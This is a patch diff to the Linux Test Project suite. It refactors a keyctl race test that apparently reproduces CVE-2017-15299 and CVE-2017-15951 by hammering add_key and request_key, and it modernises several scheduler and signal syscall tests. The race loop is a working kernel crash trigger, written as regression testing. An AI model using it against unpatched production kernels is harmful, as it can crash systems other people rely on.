+	for (i = 0; i < 5000 * effort; i++) {
+		TEST(request_key(type, "desc", "callout_info",
+			KEY_SPEC_SESSION_KEYRING));
+		if (TST_RET < 0 && TST_ERR != ENOKEY && TST_ERR != ENOENT &&
+			TST_ERR != EDQUOT) {
+			tst_brk(TBROK | TTERRNO,
+				"unexpected error requesting key of type '%s'",
+				type);
+		}
+
+		if (!tst_remaining_runtime()) {
+			tst_res(TINFO,
+				"request_key() process runtime exceeded");
+			break;
+		}
+	}
+}
+
+static void do_test(unsigned int n)
+{
+	int status;
+	pid_t add_key_pid;
+	pid_t request_key_pid;
+	bool info_only;
+	struct test_case *tc = testcase_list + n;
+
+	TEST(keyctl(KEYCTL_JOIN_SESSION_KEYRING, NULL));
+	if (TST_RET < 0)
+		tst_brk(TBROK | TTERRNO, "failed to join new session keyring");
+
+	TEST(add_key(tc->type, "desc", tc->payload, strlen(tc->payload),
+		     KEY_SPEC_SESSION_KEYRING));
+	if (TST_RET < 0 && TST_ERR != EINVAL) {
+		if (TST_ERR == ENODEV) {
+			tst_res(TCONF, "kernel doesn't support key type '%s'",
+				tc->type);
+			return;
+		}
+		tst_brk(TBROK | TTERRNO,
+			"unexpected error checking whether key type '%s' is supported",
+			tc->type);
+	}
+
+	/*
+	 * Fork a subprocess which repeatedly tries to "add" a key of the given
+	 * type.  This actually will try to update the key if it already exists.
+	 */
 	add_key_pid = SAFE_FORK();
 	if (add_key_pid == 0) {
-		for (i = 0; i < 100 * effort; i++) {
-			usleep(rand() % 1024);
-			TEST(add_key(type, "desc", payload, strlen(payload),
-				     KEY_SPEC_SESSION_KEYRING));
-			if (TST_RET < 0 && TST_ERR != EINVAL &&
-			    TST_ERR != ENOKEY && TST_ERR != EDQUOT) {
-				tst_brk(TBROK | TTERRNO,
-					"unexpected error adding key of type '%s'",
-					type);
-			}
-			TEST(keyctl(KEYCTL_CLEAR, KEY_SPEC_SESSION_KEYRING));
-			if (TST_RET < 0) {
-				tst_brk(TBROK | TTERRNO,
-					"unable to clear keyring");
-			}
-		}
+		run_child_add(tc->type, tc->payload, tc->effort);
 		exit(0);
 	}
 
 	request_key_pid = SAFE_FORK();
 	if (request_key_pid == 0) {
-		for (i = 0; i < 5000 * effort; i++) {
-			TEST(request_key(type, "desc", "callout_info",
-					 KEY_SPEC_SESSION_KEYRING));
-			if (TST_RET < 0 && TST_ERR != ENOKEY &&
-			    TST_ERR != ENOENT && TST_ERR != EDQUOT) {
-				tst_brk(TBROK | TTERRNO,
-					"unexpected error requesting key of type '%s'",
-					type);
-			}
-		}
+		run_child_request(tc->type, tc->effort);
 		exit(0);
 	}
 
@@ -134,11 +184,11 @@
 	if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
 		tst_res(info_only ? TINFO : TPASS,
 			"didn't crash while updating key of type '%s'",
-			type);
+			tc->type);
 	} else if (WIFSIGNALED(status) && WTERMSIG(status) == SIGKILL) {
 		tst_res(info_only ? TINFO : TFAIL,
 			"kernel oops while updating key of type '%s'",
-			type);
+			tc->type);
 	} else {
 		tst_brk(TBROK, "add_key child %s", tst_strstatus(status));
 	}
@@ -148,42 +198,23 @@
 	if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
 		tst_res(info_only ? TINFO : TPASS,
 			"didn't crash while requesting key of type '%s'",
-			type);
+			tc->type);
 	} else if (WIFSIGNALED(status) && WTERMSIG(status) == SIGKILL) {
 		tst_res(info_only ? TINFO : TFAIL,
 			"kernel oops while requesting key of type '%s'",
-			type);
+			tc->type);
 	} else {
 		tst_brk(TBROK, "request_key child %s", tst_strstatus(status));
 	}
 }
 
-static void do_test(void)
-{
-	/*
-	 * Briefly test the "encrypted" and/or "trusted" key types when
-	 * availaible, mainly to reproduce CVE-2017-15299.
-	 */
-	test_with_key_type("encrypted", "update user:foo 32", 2);
-	test_with_key_type("trusted", "update", 2);
-
-	/*
-	 * Test the "user" key type for longer, mainly in order to reproduce
-	 * CVE-2017-15951.  However, without the fix for CVE-2017-15299 as well,
-	 * WARNs may show up in the kernel log.
-	 *
-	 * Note: the precise iteration count is arbitrary; it's just intended to
-	 * be enough to give a decent chance of reproducing the bug, without
-	 * wasting too much time.
-	 */
-	test_with_key_type("user", "payload", 20);
-}
-
 static struct tst_test test = {
-	.test_all = do_test,
+	.test = do_test,
+	.tcnt = ARRAY_SIZE(testcase_list),
 	.forks_child = 1,
+	.max_runtime = 20,
 	.options = (struct tst_option[]) {
-		{"b:", &opt_bug,  "-b       Bug to test for (cve-2017-15299 or cve-2017-15951; default is both)"},
+		{"b:", &opt_bug,  "Bug to test for (cve-2017-15299 or cve-2017-15951; default is both)"},
 		{}
 	},
 	.tags = (const struct tst_tag[]) {
diff --git a/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c b/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c
index 202e853..e564a94 100644
--- a/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c
+++ b/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c
@@ -105,7 +105,7 @@
 					 "rt_sigaction call failed");
 
 			/* call rt_sigprocmask() to block signal#TEST_SIG */
-			TEST(ltp_syscall(__NR_rt_sigprocmask, SIG_BLOCK, &set,
+			TEST(tst_syscall(__NR_rt_sigprocmask, SIG_BLOCK, &set,
 				     &oset, SIGSETSIZE));
 			if (TEST_RETURN == -1)
 				tst_brkm(TFAIL | TTERRNO, cleanup,
@@ -123,7 +123,7 @@
 					 "the process's signal mask");
 			} else {
 				/* call rt_sigpending() */
-				TEST(ltp_syscall(__NR_rt_sigpending, &oset,
+				TEST(tst_syscall(__NR_rt_sigpending, &oset,
 					     SIGSETSIZE));
 				if (TEST_RETURN == -1)
 					tst_brkm(TFAIL | TTERRNO, cleanup,
@@ -137,7 +137,7 @@
 
 				/* call rt_sigprocmask() to unblock
 				 * signal#TEST_SIG */
-				TEST(ltp_syscall(__NR_rt_sigprocmask,
+				TEST(tst_syscall(__NR_rt_sigprocmask,
 					     SIG_UNBLOCK, &set, &oset,
 					     SIGSETSIZE));
 				if (TEST_RETURN == -1)
diff --git a/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask02.c b/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask02.c
index 5c8c36b..8c4724e 100644
--- a/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask02.c
+++ b/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask02.c
@@ -104,7 +104,7 @@
 			"Call to sigfillset() failed.");
 
 	for (i = 0; i < test_count; i++) {
-		TEST(ltp_syscall(__NR_rt_sigprocmask, SIG_BLOCK,
+		TEST(tst_syscall(__NR_rt_sigprocmask, SIG_BLOCK,
 			     &s, test_cases[i].ss, test_cases[i].sssize));
 		if (TEST_RETURN == 0) {
 			tst_resm(TFAIL | TTERRNO,
diff --git a/testcases/kernel/syscalls/rt_sigqueueinfo/rt_sigqueueinfo01.c b/testcases/kernel/syscalls/rt_sigqueueinfo/rt_sigqueueinfo01.c
index 5996e99..c8b07c0 100644
--- a/testcases/kernel/syscalls/rt_sigqueueinfo/rt_sigqueueinfo01.c
+++ b/testcases/kernel/syscalls/rt_sigqueueinfo/rt_sigqueueinfo01.c
@@ -108,7 +108,6 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.needs_checkpoints = 1,
-	.timeout = 20,
 };
 
 #else
diff --git a/testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max01.c b/testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max01.c
index 0ea06bb..9d0ebc2 100644
--- a/testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max01.c
+++ b/testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max01.c
@@ -1,142 +1,49 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * Copyright (c) 2021 sujiaxun <sujiaxun@uniontech.com>
+ * Copyright (c) Linux Test Project, 2009-2022
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER	: sched_get_priority_max01
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for sched_get_priority_max(2)
- *
- *    TEST CASE TOTAL	: 3
- *
- *    AUTHOR		: Saji Kumar.V.R <saji.kumar@wipro.com>
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	This is a Phase I test for the sched_get_priority_max(2) system call.
- *	It is intended to provide a limited exposure of the system call.
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  sched_get_priority_max01 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f]
- * 			     [-p]
- *			where,  -c n : Run n copies concurrently.
- *				-e   : Turn on errno logging.
- *				-h   : Show help screen
- *				-f   : Turn off functional testing
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *				-P x : Pause for x seconds between iterations.
- *				-t   : Turn on syscall timing.
- *
- ****************************************************************/
 
-#include <errno.h>
+/*\
+ * [Description]
+ *
+ * Basic test for the sched_get_priority_max(2) system call.
+ *
+ * Obtain different maximum priority for different schedulling policies and
+ * compare them with the expected value.
+ */
+
+#define _GNU_SOURCE
+
 #include <sched.h>
-#include "test.h"
+#include "tst_test.h"
+#include "lapi/sched.h"
 
-static void setup();
-static void cleanup();
+#define POLICY_DESC(x) .desc = #x, .policy = x
 
-char *TCID = "sched_get_priority_max01";
-
-static struct test_case_t {
+static struct test_case {
 	char *desc;
 	int policy;
 	int retval;
-} test_cases[] = {
-	{
-	"Test for SCHED_OTHER", SCHED_OTHER, 0}, {
-	"Test for SCHED_FIFO", SCHED_FIFO, 99}, {
-	"Test for SCHED_RR", SCHED_RR, 99}
+} tcases[] = {
+	{POLICY_DESC(SCHED_BATCH), 0},
+	{POLICY_DESC(SCHED_DEADLINE), 0},
+	{POLICY_DESC(SCHED_FIFO), 99},
+	{POLICY_DESC(SCHED_IDLE), 0},
+	{POLICY_DESC(SCHED_OTHER), 0},
+	{POLICY_DESC(SCHED_RR), 99},
 };
 
-int TST_TOTAL = sizeof(test_cases) / sizeof(test_cases[0]);
-
-int main(int ac, char **av)
+static void run_test(unsigned int nr)
 {
+	struct test_case *tc = &tcases[nr];
 
-	int lc, ind;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (ind = 0; ind < TST_TOTAL; ind++) {
-			/*
-			 * Call sched_get_priority_max(2)
-			 */
-			TEST(sched_get_priority_max(test_cases[ind].policy));
-
-			if (TEST_RETURN == test_cases[ind].retval) {
-				tst_resm(TPASS, "%s Passed",
-					 test_cases[ind].desc);
-			} else {
-				tst_resm(TFAIL | TTERRNO, "%s Failed,"
-					 "sched_get_priority_max() returned %ld",
-					 test_cases[ind].desc, TEST_RETURN);
-			}
-		}
-	}
-
-	/* cleanup and exit */
-	cleanup();
-
-	tst_exit();
-
+	TST_EXP_VAL(tst_syscall(__NR_sched_get_priority_max, tc->policy),
+			tc->retval, "%s", tc->desc);
 }
 
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-}
-
-/*
- *cleanup() -  performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run_test,
+};
diff --git a/testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max02.c b/testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max02.c
index 63b0d8a..bf1db29 100644
--- a/testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max02.c
+++ b/testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max02.c
@@ -1,130 +1,28 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * Copyright (c) 2021 sujiaxun <sujiaxun@uniontech.com>
  */
-/**********************************************************
+
+/*\
+ * [Description]
  *
- *    TEST IDENTIFIER	: sched_get_priority_max02
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Test for error conditions
- *
- *    TEST CASE TOTAL	: 1
- *
- *    AUTHOR		: Saji Kumar.V.R <saji.kumar@wipro.com>
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	Verify that given an invalid scheduling policy,
- *	sched_get_priority_max() returns -1 with errno EINVAL
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1) & errno=EINVAL
- *		Test Passed
- *	  Otherwise
- *		Test Failed
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  sched_get_priority_max02 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f]
- * 			     [-p]
- *			where,  -c n : Run n copies concurrently.
- *				-e   : Turn on errno logging.
- *				-h   : Show help screen
- *				-f   : Turn off functional testing
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *				-P x : Pause for x seconds between iterations.
- *				-t   : Turn on syscall timing.
- *
- ****************************************************************/
+ * Verify that given an invalid scheduling policy, sched_get_priority_max(2)
+ * returns -1 with errno EINVAL.
+ */
 
 #include <errno.h>
 #include <sched.h>
-#include "test.h"
+#include "tst_test.h"
+#include "lapi/syscalls.h"
 
 #define SCHED_INVALID 1000
 
-static void setup();
-static void cleanup();
-
-char *TCID = "sched_get_priority_max02";
-
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verif_sched_get_priority_max02(void)
 {
-
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call sched_get_priority_max(2)
-		 */
-		TEST(sched_get_priority_max(SCHED_INVALID));
-
-		if ((TEST_RETURN == -1) && (TEST_ERRNO == EINVAL)) {
-			tst_resm(TPASS, "Test Passed, Got EINVAL");
-		} else {
-			tst_resm(TFAIL | TTERRNO,
-				 "Test Failed, sched_get_priority_max()"
-				 " returned %ld", TEST_RETURN);
-		}
-	}
-
-	/* cleanup and exit */
-	cleanup();
-	tst_exit();
-
+	TST_EXP_FAIL(tst_syscall(__NR_sched_get_priority_max, SCHED_INVALID), EINVAL);
 }
 
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-}
-
-/*
- *cleanup() -  performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.test_all = verif_sched_get_priority_max02,
+};
diff --git a/testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min01.c b/testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min01.c
index b3c2709..05cb9d1 100644
--- a/testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min01.c
+++ b/testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min01.c
@@ -1,142 +1,49 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * Copyright (c) 2021 sujiaxun <sujiaxun@uniontech.com>
+ * Copyright (c) Linux Test Project, 2009-2022
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER	: sched_get_priority_min01
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for sched_get_priority_min(2)
- *
- *    TEST CASE TOTAL	: 3
- *
- *    AUTHOR		: Saji Kumar.V.R <saji.kumar@wipro.com>
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	This is a Phase I test for the sched_get_priority_min(2) system call.
- *	It is intended to provide a limited exposure of the system call.
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  sched_get_priority_min01 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f]
- * 			     [-p]
- *			where,  -c n : Run n copies concurrently.
- *				-e   : Turn on errno logging.
- *				-h   : Show help screen
- *				-f   : Turn off functional testing
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *				-P x : Pause for x seconds between iterations.
- *				-t   : Turn on syscall timing.
- *
- ****************************************************************/
 
-#include <errno.h>
+/*\
+ * [Description]
+ *
+ * Basic test for the sched_get_priority_min(2) system call.
+ *
+ * Obtain different minimum priority for different schedulling policies and
+ * compare them with the expected value.
+ */
+
+#define _GNU_SOURCE
+
 #include <sched.h>
-#include "test.h"
+#include "tst_test.h"
+#include "lapi/sched.h"
 
-static void setup();
-static void cleanup();
+#define POLICY_DESC(x) .desc = #x, .policy = x
 
-char *TCID = "sched_get_priority_min01";
-
-static struct test_case_t {
+static struct test_case {
 	char *desc;
 	int policy;
 	int retval;
-} test_cases[] = {
-	{
-	"Test for SCHED_OTHER", SCHED_OTHER, 0}, {
-	"Test for SCHED_FIFO", SCHED_FIFO, 1}, {
-	"Test for SCHED_RR", SCHED_RR, 1}
+} tcases[] = {
+	{POLICY_DESC(SCHED_BATCH), 0},
+	{POLICY_DESC(SCHED_DEADLINE), 0},
+	{POLICY_DESC(SCHED_FIFO), 1},
+	{POLICY_DESC(SCHED_IDLE), 0},
+	{POLICY_DESC(SCHED_OTHER), 0},
+	{POLICY_DESC(SCHED_RR), 1},
 };
 
-int TST_TOTAL = sizeof(test_cases) / sizeof(test_cases[0]);
-
-int main(int ac, char **av)
+static void run_test(unsigned int nr)
 {
+	struct test_case *tc = &tcases[nr];
 
-	int lc, ind;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (ind = 0; ind < TST_TOTAL; ind++) {
-			/*
-			 * Call sched_get_priority_min(2)
-			 */
-			TEST(sched_get_priority_min(test_cases[ind].policy));
-
-			if (TEST_RETURN == test_cases[ind].retval) {
-				tst_resm(TPASS, "%s Passed",
-					 test_cases[ind].desc);
-			} else {
-				tst_resm(TFAIL | TTERRNO, "%s Failed,"
-					 "sched_get_priority_min() returned %ld",
-					 test_cases[ind].desc, TEST_RETURN);
-			}
-		}
-	}
-
-	/* cleanup and exit */
-	cleanup();
-
-	tst_exit();
-
+	TST_EXP_VAL(tst_syscall(__NR_sched_get_priority_min, tc->policy),
+			tc->retval, "%s", tc->desc);
 }
 
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-}
-
-/*
- *cleanup() -  performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run_test,
+};
diff --git a/testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min02.c b/testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min02.c
index 564c54f..57e49ff 100644
--- a/testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min02.c
+++ b/testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min02.c
@@ -1,130 +1,28 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * Copyright (c) 2021 sujiaxun <sujiaxun@uniontech.com>
  */
-/**********************************************************
+
+/*\
+ * [Description]
  *
- *    TEST IDENTIFIER	: sched_get_priority_min02
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Test for error conditions
- *
- *    TEST CASE TOTAL	: 1
- *
- *    AUTHOR		: Saji Kumar.V.R <saji.kumar@wipro.com>
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	Verify that given an invalid scheduling policy,
- *	sched_get_priority_min() returns -1 with errno EINVAL
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1) & errno=EINVAL
- *		Test Passed
- *	  Otherwise
- *		Test Failed
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  sched_get_priority_min02 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f]
- * 			     [-p]
- *			where,  -c n : Run n copies concurrently.
- *				-e   : Turn on errno logging.
- *				-h   : Show help screen
- *				-f   : Turn off functional testing
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *				-P x : Pause for x seconds between iterations.
- *				-t   : Turn on syscall timing.
- *
- ****************************************************************/
+ * Verify that given an invalid scheduling policy, sched_get_priority_min(2)
+ * returns -1 with errno EINVAL.
+ */
 
 #include <errno.h>
 #include <sched.h>
-#include "test.h"
+#include "tst_test.h"
+#include "lapi/syscalls.h"
 
 #define SCHED_INVALID 1000
 
-static void setup();
-static void cleanup();
-
-char *TCID = "sched_get_priority_min02";
-
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verif_sched_get_priority_min02(void)
 {
-
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call sched_get_priority_min(2)
-		 */
-		TEST(sched_get_priority_min(SCHED_INVALID));
-
-		if ((TEST_RETURN == -1) && (TEST_ERRNO == EINVAL)) {
-			tst_resm(TPASS, "Test Passed, Got EINVAL");
-		} else {
-			tst_resm(TFAIL | TTERRNO,
-				 "Test Failed, sched_get_priority_min()"
-				 " returned %ld", TEST_RETURN);
-		}
-	}
-
-	/* cleanup and exit */
-	cleanup();
-	tst_exit();
-
+	TST_EXP_FAIL(tst_syscall(__NR_sched_get_priority_min, SCHED_INVALID), EINVAL);
 }
 
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-}
-
-/*
- *cleanup() -  performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.test_all = verif_sched_get_priority_min02,
+};
diff --git a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
index 2a2c13a..c1715d8 100644
--- a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
+++ b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
@@ -22,17 +22,14 @@
 #include <linux/types.h>
 #include <sys/syscall.h>
 #include <pthread.h>
-#include <sched.h>
 #include <errno.h>
 
 #include "test.h"
-#include "lapi/syscalls.h"
 #include "lapi/sched.h"
 
 char *TCID = "sched_getattr01";
 int TST_TOTAL = 1;
 
-#define SCHED_DEADLINE	6
 #define RUNTIME_VAL 10000000
 #define PERIOD_VAL 30000000
 #define DEADLINE_VAL 30000000
diff --git a/testcases/kernel/syscalls/sched_getattr/sched_getattr02.c b/testcases/kernel/syscalls/sched_getattr/sched_getattr02.c
index 2d7e15a..9f4a09f 100644
--- a/testcases/kernel/syscalls/sched_getattr/sched_getattr02.c
+++ b/testcases/kernel/syscalls/sched_getattr/sched_getattr02.c
@@ -31,11 +31,9 @@
 #include <linux/types.h>
 #include <sys/syscall.h>
 #include <pthread.h>
-#include <sched.h>
 #include <errno.h>
 
 #include "test.h"
-#include "lapi/syscalls.h"
 #include "lapi/sched.h"
 
 char *TCID = "sched_getattr02";
diff --git a/testcases/kernel/syscalls/sched_getparam/sched_getparam01.c b/testcases/kernel/syscalls/sched_getparam/sched_getparam01.c
index efb6977..a357264 100644
--- a/testcases/kernel/syscalls/sched_getparam/sched_getparam01.c
+++ b/testcases/kernel/syscalls/sched_getparam/sched_getparam01.c
@@ -21,22 +21,23 @@
 #include <stdlib.h>
 #include <sys/types.h>
 #include <unistd.h>
-#include <sched.h>
 #include "tst_test.h"
+#include "tst_sched.h"
 
 static pid_t pids[2] = {0, 0};
 
 static void verify_sched_getparam(unsigned int n)
 {
 	pid_t child_pid;
+	struct sched_variant *tv = &sched_variants[tst_variant];
 	struct sched_param param = {
 		.sched_priority = 100,
 	};
 
 	child_pid = SAFE_FORK();
 	if (!child_pid) {
-		TST_EXP_PASS_SILENT(sched_getparam(pids[n], &param),
-				    "sched_getparam(%d)", pids[n]);
+		TST_EXP_PASS_SILENT(tv->sched_getparam(pids[n], &param),
+				   "sched_getparam(%d)", pids[n]);
 		if (!TST_PASS)
 			exit(0);
 
@@ -59,12 +60,17 @@
 
 static void setup(void)
 {
+	struct sched_variant *tv = &sched_variants[tst_variant];
+
+	tst_res(TINFO, "Testing %s variant", tv->desc);
+
 	pids[1] = getpid();
 }
 
 static struct tst_test test = {
 	.forks_child = 1,
 	.setup = setup,
+	.test_variants = ARRAY_SIZE(sched_variants),
 	.tcnt = ARRAY_SIZE(pids),
 	.test = verify_sched_getparam,
 };
diff --git a/testcases/kernel/syscalls/sched_getparam/sched_getparam03.c b/testcases/kernel/syscalls/sched_getparam/sched_getparam03.c
index 19ecaf1..f1c635e 100644
--- a/testcases/kernel/syscalls/sched_getparam/sched_getparam03.c
+++ b/testcases/kernel/syscalls/sched_getparam/sched_getparam03.c
@@ -17,8 +17,8 @@
  */
 
 #include <errno.h>
-#include <sched.h>
 #include "tst_test.h"
+#include "tst_sched.h"
 
 static struct sched_param param;
 static pid_t unused_pid;
@@ -42,17 +42,21 @@
 static void verify_sched_getparam(unsigned int n)
 {
 	struct test_case_t *tc = &test_cases[n];
+	struct sched_variant *tv = &sched_variants[tst_variant];
 
-	TST_EXP_FAIL(sched_getparam(*(tc->pid), tc->p), tc->exp_errno, "%s", tc->desc);
+	TST_EXP_FAIL(tv->sched_getparam(*(tc->pid), tc->p), tc->exp_errno,
+		     "%s", tc->desc);
 }
 
 static void setup(void)
 {
+	tst_res(TINFO, "Testing %s variant", sched_variants[tst_variant].desc);
 	unused_pid = tst_get_unused_pid();
 }
 
 static struct tst_test test = {
 	.setup = setup,
+	.test_variants = ARRAY_SIZE(sched_variants),
 	.tcnt = ARRAY_SIZE(test_cases),
 	.test = verify_sched_getparam,
 };
